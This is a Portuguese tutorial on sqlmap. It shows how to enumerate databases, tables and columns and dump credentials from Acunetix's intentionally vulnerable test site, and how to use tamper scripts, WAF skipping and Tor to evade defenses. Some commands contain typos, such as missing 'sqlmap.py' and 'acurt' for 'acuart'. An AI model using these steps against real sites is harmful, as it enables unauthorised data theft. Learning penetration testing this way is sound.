Sqlmap é uma ferramenta open source para teste de penetração que automatiza o processo de detecção e exploração de vulnerabilidades de Injeção de SQL, permitindo a invasão de banco de dados de sites.
Sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
O Sqlmap pode ser usado tanto para o bem, quanto para o mal.
Por outro lado, como o programa apresenta informações sigilosas, qualquer um que tenha conhecimento de como usar esta ferramenta pode descobrir dados sigilosos, como senhas e contas de usuários e outras informações valiosas no Banco de Dados. Com essas informações, o Hacker pode alterar senhas, apagar bancos de dados inteiros e até conseguir acesso ao servidor da vítima.
O Sqlmap é escrito em Python, sendo assim, pode ser utilizado tanto em Sistemas Windows como GNU Linux. Para tanto, basta baixar e configurar o Python em sua máquina (se Windows colocar o caminho do Python na variável path em variáveis de ambiente do sistema, baixar e extrair a última versão do Sqlmap em sqlmap.org.
Após extrair o Sqlmap e configurar o Python, é só abrir um prompt de comando, navegar até o caminho onde se encontra o sqlmap e digitar:
python sqlmap.py [opções] |
-h | Ajuda |
-u | URL |
-o | Ativa todas opções de otimização de conexão |
--random-agent | Forja um agente de navegador web aleatório para contornar alguns mecanismos de defesa |
--dbs | Base de dados |
--tables | tabelas |
--columns | colunas |
Testar a aplicação |
C:\pentest\sqlmap>python sqlmap.py |
Se tudo tiver dado certo, você receberá a seguinte mensagem: |
Retorno:
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help Press Enter to continue... |
O que significa apenas que faltou uma opção obrigatória ao comando. |
Obs.: vamos utilizar o site de testes da Acunetix, esse site foi feito para testes de vulnerabilidades.
Listar as bases de dados presentes na aplicação: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --dbs |
Retorno:
acuart |
Listar as tabelas da base de dados acuart: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt --tables |
Retorno:
artists |
Listar as colunas da tabela users: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt -T users -- columns |
Retorno:
address |
Extrair os dados uname e pass da tabela users: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= -D acurt -T users -C "uname,pass" --dump |
Retorno:
test | test |
Teste Utilizando uma script de tamper para contornar defesas em múltiplos tipos de banco de dados: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --tamper=space2comment |
Teste Utilizando um conjunto de script tampers para contornar defesas quando o alvo utiliza MySQL: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --tamper=between,randomcase,space2comment |
Teste Utilizando parâmetros para aumentar a performance do teste: |
C:\pentest\sqlmap>python --url http://testphp.vulnweb.com/listproducts.php?cat= --threads=10 -o --batch -p cat --skip-waf |
Explicação de parâmetros:
--threads=10 : Utiliza 10 processos simultâneos --o : Ativa diversas configurações para conexões mais rápidas --batch : Automatiza respostas no wizard de teste da ferramenta -p cat : Foca o teste somente no parâmetro que queremos testar --skip-waf : Pula o teste de WAF |
Teste Utilizando um conjunto de script tampers para contornar defesas quando o alvo utiliza MySQL: |
C:\pentest\sqlmap>python --tor --check-tor --url http://testphp.vulnweb.com/listproducts.php?cat= |
Observação 1: É necessário ter o Tor instalado previamente na máquina
Observação 2: Pela Tor a conexão torna-se mais lenta e instável o que pode afetar a qualidade do teste. Para melhorar este aspecto, podemos utilizar os seguintes parâmetros para aumentar a estabilidade do teste a custo de alguma performance: --time-sec=15 --timeout=45 --retries=4 |